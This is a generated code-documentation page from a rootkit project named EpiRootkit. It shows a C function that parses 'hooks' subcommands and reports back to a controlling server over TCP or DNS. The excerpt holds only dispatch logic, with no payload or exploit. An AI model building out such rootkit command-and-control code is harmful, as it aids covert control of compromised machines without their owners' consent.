EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
menu.h File Reference
#include "config.h"
Include dependency graph for menu.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int hooks_menu_handler (char *args, enum Protocol protocol)
 

Function Documentation

◆ hooks_menu_handler()

int hooks_menu_handler ( char *  args,
enum Protocol  protocol 
)

Handle the top‐level hooks command.

Parameters
argsEverything after the word "hooks", so "<subcmd> [<path>] [<other>...]"
protocolThe protocol used for communication (TCP or DNS).
Returns
0 on success, negative errno on failure.

Definition at line 289 of file menu.c.

289 {
290 char *cmd = strsep(&args, " \t");
291
292 int i;
293 if (!cmd)
294 return hooks_help(NULL, protocol);
295
296 for (i = 0; hooks_commands[i].cmd_name != NULL; i++) {
297 if (strncmp(cmd, hooks_commands[i].cmd_name,
298 hooks_commands[i].cmd_name_size)
299 == 0) {
300 if (hooks_commands[i].cmd_handler)
301 return hooks_commands[i].cmd_handler(args, protocol);
302 }
303 }
304
305 send_to_server(protocol, "Unknown hooks cmd '%s', try 'hooks help'\n", cmd);
306 return -EINVAL;
307}
static struct command hooks_commands[]
Definition menu.c:27
static int hooks_help(char *args, enum Protocol protocol)
Definition menu.c:52
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
char * cmd_name
Definition epirootkit.h:27
int(* cmd_handler)(char *args, enum Protocol protocol)
Definition epirootkit.h:31